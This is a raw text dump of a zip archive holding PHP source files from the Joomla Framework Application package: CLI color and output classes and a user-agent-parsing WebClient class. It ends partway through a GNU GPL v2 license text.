* Class CliInput
*
* @since 1.6.0
* @deprecated 2.0 Use the `joomla/console` package instead
*/
class CliInput
{
/**
* Get a value from standard input.
*
* @return string The input string from standard input.
*
* @codeCoverageIgnore
* @since 1.6.0
*/
public function in()
{
return rtrim(fread(STDIN, 8192), "\n\r");
}
}
PK���[3s�J!application/src/Cli/CliOutput.phpnu�[���<?php
/**
* Part of the Joomla Framework Application Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Application\Cli;
use Joomla\Application\Cli\Output\Processor\ProcessorInterface;
/**
* Class CliOutput
*
* @since 1.0
* @deprecated 2.0 Use the `joomla/console` package instead
*/
abstract class CliOutput
{
/**
* Color processing object
*
* @var ProcessorInterface
* @since 1.0
*/
protected $processor;
/**
* Constructor
*
* @param ProcessorInterface $processor The output processor.
*
* @since 1.1.2
*/
public function __construct(ProcessorInterface $processor = null)
{
$this->setProcessor(($processor instanceof ProcessorInterface) ?
$processor : new Output\Processor\ColorProcessor);
}
/**
* Set a processor
*
* @param ProcessorInterface $processor The output processor.
*
* @return Stdout Instance of $this to allow chaining.
*
* @since 1.0
*/
public function setProcessor(ProcessorInterface $processor)
{
$this->processor = $processor;
return $this;
}
/**
* Get a processor
*
* @return ProcessorInterface
*
* @since 1.0
* @throws \RuntimeException
*/
public function getProcessor()
{
if ($this->processor)
{
return $this->processor;
}
throw new \RuntimeException('A ProcessorInterface object has not
been set.');
}
/**
* Write a string to an output handler.
*
* @param string $text The text to display.
* @param boolean $nl True (default) to append a new line at the end
of the output string.
*
* @return void
*
* @since 1.0
* @codeCoverageIgnore
*/
abstract public function out($text = '', $nl = true);
}
PK���[~��u &application/src/Cli/ColorProcessor.phpnu�[���<?php
/**
* Part of the Joomla Framework Application Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Application\Cli;
use \Joomla\Application\Cli\Output\Processor\ColorProcessor as
RealColorProcessor;
/**
* Class ColorProcessor.
*
* @since 1.0
* @deprecated 2.0 Use the `joomla/console` package instead
*/
class ColorProcessor extends RealColorProcessor
{
}
PK���[MS�**"application/src/Cli/ColorStyle.phpnu�[���<?php
/**
* Part of the Joomla Framework Application Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Application\Cli;
/**
* Class ColorStyle
*
* @since 1.0
* @deprecated 2.0 Use the `joomla/console` package instead
*/
final class ColorStyle
{
/**
* Known colors
*
* @var array
* @since 1.0
*/
private static $knownColors = array(
'black' => 0,
'red' => 1,
'green' => 2,
'yellow' => 3,
'blue' => 4,
'magenta' => 5,
'cyan' => 6,
'white' => 7,
);
/**
* Known styles
*
* @var array
* @since 1.0
*/
private static $knownOptions = array(
'bold' => 1,
'underscore' => 4,
'blink' => 5,
'reverse' => 7,
);
/**
* Foreground base value
*
* @var integer
* @since 1.0
*/
private static $fgBase = 30;
/**
* Background base value
*
* @var integer
* @since 1.0
*/
private static $bgBase = 40;
/**
* Foreground color
*
* @var integer
* @since 1.0
*/
private $fgColor = 0;
/**
* Background color
*
* @var integer
* @since 1.0
*/
private $bgColor = 0;
/**
* Array of style options
*
* @var array
* @since 1.0
*/
private $options = array();
/**
* Constructor
*
* @param string $fg Foreground color.
* @param string $bg Background color.
* @param array $options Style options.
*
* @since 1.0
* @throws \InvalidArgumentException
*/
public function __construct($fg = '', $bg = '',
$options = array())
{
if ($fg)
{
if (array_key_exists($fg, static::$knownColors) == false)
{
throw new \InvalidArgumentException(
sprintf('Invalid foreground color "%1$s" [%2$s]',
$fg,
implode(', ', $this->getKnownColors())
)
);
}
$this->fgColor = static::$fgBase + static::$knownColors[$fg];
}
if ($bg)
{
if (array_key_exists($bg, static::$knownColors) == false)
{
throw new \InvalidArgumentException(
sprintf('Invalid background color "%1$s" [%2$s]',
$bg,
implode(', ', $this->getKnownColors())
)
);
}
$this->bgColor = static::$bgBase + static::$knownColors[$bg];
}
foreach ($options as $option)
{
if (array_key_exists($option, static::$knownOptions) == false)
{
throw new \InvalidArgumentException(
sprintf('Invalid option "%1$s" [%2$s]',
$option,
implode(', ', $this->getKnownOptions())
)
);
}
$this->options[] = $option;
}
}
/**
* Convert to a string.
*
* @return string
*
* @since 1.0
*/
public function __toString()
{
return $this->getStyle();
}
/**
* Create a color style from a parameter string.
*
* Example: fg=red;bg=blue;options=bold,blink
*
* @param string $string The parameter string.
*
* @return ColorStyle Instance of $this to allow chaining.
*
* @since 1.0
* @throws \RuntimeException
*/
public static function fromString($string)
{
$fg = '';
$bg = '';
$options = array();
$parts = explode(';', $string);
foreach ($parts as $part)
{
$subParts = explode('=', $part);
if (\count($subParts) < 2)
{
continue;
}
switch ($subParts[0])
{
case 'fg':
$fg = $subParts[1];
break;
case 'bg':
$bg = $subParts[1];
break;
case 'options':
$options = explode(',', $subParts[1]);
break;
default:
throw new \RuntimeException('Invalid option');
break;
}
}
return new self($fg, $bg, $options);
}
/**
* Get the translated color code.
*
* @return string
*
* @since 1.0
*/
public function getStyle()
{
$values = array();
if ($this->fgColor)
{
$values[] = $this->fgColor;
}
if ($this->bgColor)
{
$values[] = $this->bgColor;
}
foreach ($this->options as $option)
{
$values[] = static::$knownOptions[$option];
}
return implode(';', $values);
}
/**
* Get the known colors.
*
* @return string
*
* @since 1.0
*/
public function getKnownColors()
{
return array_keys(static::$knownColors);
}
/**
* Get the known options.
*
* @return array
*
* @since 1.0
*/
public function getKnownOptions()
{
return array_keys(static::$knownOptions);
}
}
PK���[h#�ff7application/src/Cli/Output/Processor/ColorProcessor.phpnu�[���<?php
/**
* Part of the Joomla Framework Application Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Application\Cli\Output\Processor;
use Joomla\Application\Cli\ColorStyle;
use Joomla\Application\Cli\Output\Stdout;
/**
* Class ColorProcessor.
*
* @since 1.0
* @deprecated 2.0 Use the `joomla/console` package instead
*/
class ColorProcessor implements ProcessorInterface
{
/**
* Flag to remove color codes from the output
*
* @var boolean
* @since 1.0
*/
public $noColors = false;
/**
* Regex to match tags
*
* @var string
* @since 1.0
*/
protected $tagFilter =
'/<([a-z=;]+)>(.*?)<\/\\1>/s';
/**
* Regex used for removing color codes
*
* @var string
* @since 1.0
*/
protected static $stripFilter = '/<[\/]?[a-z=;]+>/';
/**
* Array of ColorStyle objects
*
* @var array
* @since 1.0
*/
protected $styles = array();
/**
* Class constructor
*
* @param boolean $noColors Defines non-colored mode on construct
*
* @since 1.1.0
*/
public function __construct($noColors = null)
{
if ($noColors === null)
{
/*
* By default windows cmd.exe and PowerShell does not support
ANSI-colored output
* if the variable is not set explicitly colors should be disabled on
Windows
*/
$noColors = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
}
$this->noColors = $noColors;
$this->addPredefinedStyles();
}
/**
* Add a style.
*
* @param string $name The style name.
* @param ColorStyle $style The color style.
*
* @return ColorProcessor Instance of $this to allow chaining.
*
* @since 1.0
*/
public function addStyle($name, ColorStyle $style)
{
$this->styles[$name] = $style;
return $this;
}
/**
* Strip color tags from a string.
*
* @param string $string The string.
*
* @return string
*
* @since 1.0
*/
public static function stripColors($string)
{
return preg_replace(static::$stripFilter, '', $string);
}
/**
* Process a string.
*
* @param string $string The string to process.
*
* @return string
*
* @since 1.0
*/
public function process($string)
{
preg_match_all($this->tagFilter, $string, $matches);
if (!$matches)
{
return $string;
}
foreach ($matches[0] as $i => $m)
{
if (array_key_exists($matches[1][$i], $this->styles))
{
$string = $this->replaceColors($string, $matches[1][$i],
$matches[2][$i], $this->styles[$matches[1][$i]]);
}
// Custom format
elseif (strpos($matches[1][$i], '='))
{
$string = $this->replaceColors($string, $matches[1][$i],
$matches[2][$i], ColorStyle::fromString($matches[1][$i]));
}
}
return $string;
}
/**
* Replace color tags in a string.
*
* @param string $text The original text.
* @param string $tag The matched tag.
* @param string $match The match.
* @param ColorStyle $style The color style to apply.
*
* @return mixed
*
* @since 1.0
*/
private function replaceColors($text, $tag, $match, Colorstyle $style)
{
$replace = $this->noColors
? $match
: "\033[" . $style . 'm' . $match .
"\033[0m";
return str_replace('<' . $tag . '>' . $match .
'</' . $tag . '>', $replace, $text);
}
/**
* Adds predefined color styles to the ColorProcessor object
*
* @return Stdout Instance of $this to allow chaining.
*
* @since 1.0
*/
private function addPredefinedStyles()
{
$this->addStyle(
'info',
new ColorStyle('green', '', array('bold'))
);
$this->addStyle(
'comment',
new ColorStyle('yellow', '',
array('bold'))
);
$this->addStyle(
'question',
new ColorStyle('black', 'cyan')
);
$this->addStyle(
'error',
new ColorStyle('white', 'red')
);
return $this;
}
}
PK���[?<N}};application/src/Cli/Output/Processor/ProcessorInterface.phpnu�[���<?php
/**
* Part of the Joomla Framework Application Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Application\Cli\Output\Processor;
/**
* Class ProcessorInterface.
*
* @since 1.1.0
* @deprecated 2.0 Use the `joomla/console` package instead
*/
interface ProcessorInterface
{
/**
* Process the provided output into a string.
*
* @param string $output The string to process.
*
* @return string
*
* @since 1.1.0
*/
public function process($output);
}
PK���[�����%application/src/Cli/Output/Stdout.phpnu�[���<?php
/**
* Part of the Joomla Framework Application Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Application\Cli\Output;
use Joomla\Application\Cli\CliOutput;
/**
* Class Stdout.
*
* @since 1.0
* @deprecated 2.0 Use the `joomla/console` package instead
*/
class Stdout extends CliOutput
{
/**
* Write a string to standard output
*
* @param string $text The text to display.
* @param boolean $nl True (default) to append a new line at the end
of the output string.
*
* @return Stdout Instance of $this to allow chaining.
*
* @codeCoverageIgnore
* @since 1.0
*/
public function out($text = '', $nl = true)
{
fwrite(STDOUT, $this->getProcessor()->process($text) . ($nl ?
"\n" : null));
return $this;
}
}
PK���[��6�QQ"application/src/Cli/Output/Xml.phpnu�[���<?php
/**
* Part of the Joomla Framework Application Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Application\Cli\Output;
use Joomla\Application\Cli\CliOutput;
/**
* Class Xml.
*
* @since 1.0
* @deprecated 2.0 Use the `joomla/console` package instead
*/
class Xml extends CliOutput
{
/**
* Write a string to standard output.
*
* @param string $text The text to display.
* @param boolean $nl True (default) to append a new line at the end
of the output string.
*
* @return void
*
* @since 1.0
* @throws \RuntimeException
* @codeCoverageIgnore
*/
public function out($text = '', $nl = true)
{
fwrite(STDOUT, $text . ($nl ? "\n" : null));
}
}
PK���[��u:B:B!application/src/Web/WebClient.phpnu�[���<?php
/**
* Part of the Joomla Framework Application Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Application\Web;
/**
* Class to model a Web Client.
*
* @property-read integer $platform The detected platform on which
the web client runs.
* @property-read boolean $mobile True if the web client is a
mobile device.
* @property-read integer $engine The detected rendering engine
used by the web client.
* @property-read integer $browser The detected browser used by
the web client.
* @property-read string $browserVersion The detected browser version
used by the web client.
* @property-read array $languages The priority order detected
accepted languages for the client.
* @property-read array $encodings The priority order detected
accepted encodings for the client.
* @property-read string $userAgent The web client's user
agent string.
* @property-read string $acceptEncoding The web client's accepted
encoding string.
* @property-read string $acceptLanguage The web client's accepted
languages string.
* @property-read array $detection An array of flags determining
whether or not a detection routine has been run.
* @property-read boolean $robot True if the web client is a
robot
* @property-read array $headers An array of all headers sent
by client
*
* @since 1.0
*/
class WebClient
{
const WINDOWS = 1;
const WINDOWS_PHONE = 2;
const WINDOWS_CE = 3;
const IPHONE = 4;
const IPAD = 5;
const IPOD = 6;
const MAC = 7;
const BLACKBERRY = 8;
const ANDROID = 9;
const LINUX = 10;
const TRIDENT = 11;
const WEBKIT = 12;
const GECKO = 13;
const PRESTO = 14;
const KHTML = 15;
const AMAYA = 16;
const IE = 17;
const FIREFOX = 18;
const CHROME = 19;
const SAFARI = 20;
const OPERA = 21;
const ANDROIDTABLET = 22;
const EDGE = 23;
const BLINK = 24;
const EDG = 25;
/**
* @var integer The detected platform on which the web client runs.
* @since 1.0
*/
protected $platform;
/**
* @var boolean True if the web client is a mobile device.
* @since 1.0
*/
protected $mobile = false;
/**
* @var integer The detected rendering engine used by the web client.
* @since 1.0
*/
protected $engine;
/**
* @var integer The detected browser used by the web client.
* @since 1.0
*/
protected $browser;
/**
* @var string The detected browser version used by the web client.
* @since 1.0
*/
protected $browserVersion;
/**
* @var array The priority order detected accepted languages for the
client.
* @since 1.0
*/
protected $languages = array();
/**
* @var array The priority order detected accepted encodings for the
client.
* @since 1.0
*/
protected $encodings = array();
/**
* @var string The web client's user agent string.
* @since 1.0
*/
protected $userAgent;
/**
* @var string The web client's accepted encoding string.
* @since 1.0
*/
protected $acceptEncoding;
/**
* @var string The web client's accepted languages string.
* @since 1.0
*/
protected $acceptLanguage;
/**
* @var boolean True if the web client is a robot.
* @since 1.0
*/
protected $robot = false;
/**
* @var array An array of flags determining whether or not a detection
routine has been run.
* @since 1.0
*/
protected $detection = array();
/**
* @var array An array of headers sent by client
* @since 1.3.0
*/
protected $headers;
/**
* Class constructor.
*
* @param string $userAgent The optional user-agent string to
parse.
* @param string $acceptEncoding The optional client accept encoding
string to parse.
* @param string $acceptLanguage The optional client accept language
string to parse.
*
* @since 1.0
*/
public function __construct($userAgent = null, $acceptEncoding = null,
$acceptLanguage = null)
{
// If no explicit user agent string was given attempt to use the implicit
one from server environment.
if (empty($userAgent) &&
isset($_SERVER['HTTP_USER_AGENT']))
{
$this->userAgent = $_SERVER['HTTP_USER_AGENT'];
}
else
{
$this->userAgent = $userAgent;
}
// If no explicit acceptable encoding string was given attempt to use the
implicit one from server environment.
if (empty($acceptEncoding) &&
isset($_SERVER['HTTP_ACCEPT_ENCODING']))
{
$this->acceptEncoding = $_SERVER['HTTP_ACCEPT_ENCODING'];
}
else
{
$this->acceptEncoding = $acceptEncoding;
}
// If no explicit acceptable languages string was given attempt to use
the implicit one from server environment.
if (empty($acceptLanguage) &&
isset($_SERVER['HTTP_ACCEPT_LANGUAGE']))
{
$this->acceptLanguage = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
}
else
{
$this->acceptLanguage = $acceptLanguage;
}
}
/**
* Magic method to get an object property's value by name.
*
* @param string $name Name of the property for which to return a
value.
*
* @return mixed The requested value if it exists.
*
* @since 1.0
*/
public function __get($name)
{
switch ($name)
{
case 'mobile':
case 'platform':
if (empty($this->detection['platform']))
{
$this->detectPlatform($this->userAgent);
}
break;
case 'engine':
if (empty($this->detection['engine']))
{
$this->detectEngine($this->userAgent);
}
break;
case 'browser':
case 'browserVersion':
if (empty($this->detection['browser']))
{
$this->detectBrowser($this->userAgent);
}
break;
case 'languages':
if (empty($this->detection['acceptLanguage']))
{
$this->detectLanguage($this->acceptLanguage);
}
break;
case 'encodings':
if (empty($this->detection['acceptEncoding']))
{
$this->detectEncoding($this->acceptEncoding);
}
break;
case 'robot':
if (empty($this->detection['robot']))
{
$this->detectRobot($this->userAgent);
}
break;
case 'headers':
if (empty($this->detection['headers']))
{
$this->detectHeaders();
}
break;
}
// Return the property if it exists.
if (isset($this->$name))
{
return $this->$name;
}
}
/**
* Detects the client browser and version in a user agent string.
*
* @param string $userAgent The user-agent string to parse.
*
* @return void
*
* @since 1.0
*/
protected function detectBrowser($userAgent)
{
// Attempt to detect the browser type. Obviously we are only worried
about major browsers.
if ((stripos($userAgent, 'MSIE') !== false) &&
(stripos($userAgent, 'Opera') === false))
{
$this->browser = self::IE;
$patternBrowser = 'MSIE';
}
elseif (stripos($userAgent, 'Trident') !== false)
{
$this->browser = self::IE;
$patternBrowser = ' rv';
}
elseif (stripos($userAgent, 'Edge') !== false)
{
$this->browser = self::EDGE;
$patternBrowser = 'Edge';
}
elseif (stripos($userAgent, 'Edg') !== false)
{
$this->browser = self::EDG;
$patternBrowser = 'Edg';
}
elseif ((stripos($userAgent, 'Firefox') !== false) &&
(stripos($userAgent, 'like Firefox') === false))
{
$this->browser = self::FIREFOX;
$patternBrowser = 'Firefox';
}
elseif (stripos($userAgent, 'OPR') !== false)
{
$this->browser = self::OPERA;
$patternBrowser = 'OPR';
}
elseif (stripos($userAgent, 'Chrome') !== false)
{
$this->browser = self::CHROME;
$patternBrowser = 'Chrome';
}
elseif (stripos($userAgent, 'Safari') !== false)
{
$this->browser = self::SAFARI;
$patternBrowser = 'Safari';
}
elseif (stripos($userAgent, 'Opera') !== false)
{
$this->browser = self::OPERA;
$patternBrowser = 'Opera';
}
// If we detected a known browser let's attempt to determine the
version.
if ($this->browser)
{
// Build the REGEX pattern to match the browser version string within
the user agent string.
$pattern = '#(?<browser>Version|' . $patternBrowser .
')[/ :]+(?<version>[0-9.|a-zA-Z.]*)#';
// Attempt to find version strings in the user agent string.
$matches = array();
if (preg_match_all($pattern, $userAgent, $matches))
{
// Do we have both a Version and browser match?
if (\count($matches['browser']) == 2)
{
// See whether Version or browser came first, and use the number
accordingly.
if (strripos($userAgent, 'Version') <
strripos($userAgent, $patternBrowser))
{
$this->browserVersion = $matches['version'][0];
}
else
{
$this->browserVersion = $matches['version'][1];
}
}
elseif (\count($matches['browser']) > 2)
{
$key = array_search('Version',
$matches['browser']);
if ($key)
{
$this->browserVersion = $matches['version'][$key];
}
}
else
{
// We only have a Version or a browser so use what we have.
$this->browserVersion = $matches['version'][0];
}
}
}
// Mark this detection routine as run.
$this->detection['browser'] = true;
}
/**
* Method to detect the accepted response encoding by the client.
*
* @param string $acceptEncoding The client accept encoding string to
parse.
*
* @return void
*
* @since 1.0
*/
protected function detectEncoding($acceptEncoding)
{
// Parse the accepted encodings.
$this->encodings = array_map('trim', (array)
explode(',', $acceptEncoding));
// Mark this detection routine as run.
$this->detection['acceptEncoding'] = true;
}
/**
* Detects the client rendering engine in a user agent string.
*
* @param string $userAgent The user-agent string to parse.
*
* @return void
*
* @since 1.0
*/
protected function detectEngine($userAgent)
{
if (stripos($userAgent, 'MSIE') !== false ||
stripos($userAgent, 'Trident') !== false)
{
// Attempt to detect the client engine -- starting with the most popular
... for now.
$this->engine = self::TRIDENT;
}
elseif (stripos($userAgent, 'Edge') !== false ||
stripos($userAgent, 'EdgeHTML') !== false)
{
$this->engine = self::EDGE;
}
elseif (stripos($userAgent, 'Edg') !== false)
{
$this->engine = self::BLINK;
}
elseif (stripos($userAgent, 'Chrome') !== false)
{
$result = explode('/', stristr($userAgent,
'Chrome'));
$version = explode(' ', $result[1]);
if ($version[0] >= 28)
{
$this->engine = self::BLINK;
}
else
{
$this->engine = self::WEBKIT;
}
}
elseif (stripos($userAgent, 'AppleWebKit') !== false ||
stripos($userAgent, 'blackberry') !== false)
{
if (stripos($userAgent, 'AppleWebKit') !== false)
{
$result = explode('/', stristr($userAgent,
'AppleWebKit'));
$version = explode(' ', $result[1]);
if ($version[0] === 537.36)
{
// AppleWebKit/537.36 is Blink engine specific, exception is Blink
emulated IEMobile, Trident or Edge
$this->engine = self::BLINK;
}
}
// Evidently blackberry uses WebKit and doesn't necessarily report
it. Bad RIM.
$this->engine = self::WEBKIT;
}
elseif (stripos($userAgent, 'Gecko') !== false &&
stripos($userAgent, 'like Gecko') === false)
{
// We have to check for like Gecko because some other browsers spoof
Gecko.
$this->engine = self::GECKO;
}
elseif (stripos($userAgent, 'Opera') !== false ||
stripos($userAgent, 'Presto') !== false)
{
$version = false;
if (preg_match('/Opera[\/| ]?([0-9.]+)/u', $userAgent,
$match))
{
$version = \floatval($match[1]);
}
if (preg_match('/Version\/([0-9.]+)/u', $userAgent, $match))
{
if (\floatval($match[1]) >= 10)
{
$version = \floatval($match[1]);
}
}
if ($version !== false && $version >= 15)
{
$this->engine = self::BLINK;
}
else
{
$this->engine = self::PRESTO;
}
}
elseif (stripos($userAgent, 'KHTML') !== false)
{
// *sigh*
$this->engine = self::KHTML;
}
elseif (stripos($userAgent, 'Amaya') !== false)
{
// Lesser known engine but it finishes off the major list from Wikipedia
:-)
$this->engine = self::AMAYA;
}
// Mark this detection routine as run.
$this->detection['engine'] = true;
}
/**
* Method to detect the accepted languages by the client.
*
* @param mixed $acceptLanguage The client accept language string to
parse.
*
* @return void
*
* @since 1.0
*/
protected function detectLanguage($acceptLanguage)
{
// Parse the accepted encodings.
$this->languages = array_map('trim', (array)
explode(',', $acceptLanguage));
// Mark this detection routine as run.
$this->detection['acceptLanguage'] = true;
}
/**
* Detects the client platform in a user agent string.
*
* @param string $userAgent The user-agent string to parse.
*
* @return void
*
* @since 1.0
*/
protected function detectPlatform($userAgent)
{
// Attempt to detect the client platform.
if (stripos($userAgent, 'Windows') !== false)
{
$this->platform = self::WINDOWS;
// Let's look at the specific mobile options in the Windows space.
if (stripos($userAgent, 'Windows Phone') !== false)
{
$this->mobile = true;
$this->platform = self::WINDOWS_PHONE;
}
elseif (stripos($userAgent, 'Windows CE') !== false)
{
$this->mobile = true;
$this->platform = self::WINDOWS_CE;
}
}
elseif (stripos($userAgent, 'iPhone') !== false)
{
// Interestingly 'iPhone' is present in all iOS devices so far
including iPad and iPods.
$this->mobile = true;
$this->platform = self::IPHONE;
// Let's look at the specific mobile options in the iOS space.
if (stripos($userAgent, 'iPad') !== false)
{
$this->platform = self::IPAD;
}
elseif (stripos($userAgent, 'iPod') !== false)
{
$this->platform = self::IPOD;
}
}
elseif (stripos($userAgent, 'iPad') !== false)
{
// In case where iPhone is not mentioed in iPad user agent string
$this->mobile = true;
$this->platform = self::IPAD;
}
elseif (stripos($userAgent, 'iPod') !== false)
{
// In case where iPhone is not mentioed in iPod user agent string
$this->mobile = true;
$this->platform = self::IPOD;
}
elseif (preg_match('/macintosh|mac os x/i', $userAgent))
{
// This has to come after the iPhone check because mac strings are also
present in iOS devices.
$this->platform = self::MAC;
}
elseif (stripos($userAgent, 'Blackberry') !== false)
{
$this->mobile = true;
$this->platform = self::BLACKBERRY;
}
elseif (stripos($userAgent, 'Android') !== false)
{
$this->mobile = true;
$this->platform = self::ANDROID;
/**
* Attempt to distinguish between Android phones and tablets
* There is no totally foolproof method but certain rules almost always
hold
* Android 3.x is only used for tablets
* Some devices and browsers encourage users to change their UA string
to include Tablet.
* Google encourages manufacturers to exclude the string Mobile from
tablet device UA strings.
* In some modes Kindle Android devices include the string Mobile but
they include the string Silk.
*/
if (stripos($userAgent, 'Android 3') !== false ||
stripos($userAgent, 'Tablet') !== false
|| stripos($userAgent, 'Mobile') === false ||
stripos($userAgent, 'Silk') !== false)
{
$this->platform = self::ANDROIDTABLET;
}
}
elseif (stripos($userAgent, 'Linux') !== false)
{
$this->platform = self::LINUX;
}
// Mark this detection routine as run.
$this->detection['platform'] = true;
}
/**
* Determines if the browser is a robot or not.
*
* @param string $userAgent The user-agent string to parse.
*
* @return void
*
* @since 1.0
*/
protected function detectRobot($userAgent)
{
if
(preg_match('/http|bot|bingbot|googlebot|robot|spider|slurp|crawler|curl|^$/i',
$userAgent))
{
$this->robot = true;
}
else
{
$this->robot = false;
}
$this->detection['robot'] = true;
}
/**
* Fills internal array of headers
*
* @return void
*
* @since 1.3.0
*/
protected function detectHeaders()
{
if (\function_exists('getallheaders'))
{
// If php is working under Apache, there is a special function
$this->headers = getallheaders();
}
else
{
// Else we fill headers from $_SERVER variable
$this->headers = array();
foreach ($_SERVER as $name => $value)
{
if (substr($name, 0, 5) == 'HTTP_')
{
$this->headers[str_replace(' ', '-',
ucwords(strtolower(str_replace('_', ' ', substr($name,
5)))))] = $value;
}
}
}
// Mark this detection routine as run.
$this->detection['headers'] = true;
}
}
PK���[�P�E�Earchive/LICENSEnu�[���GNU GENERAL
PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
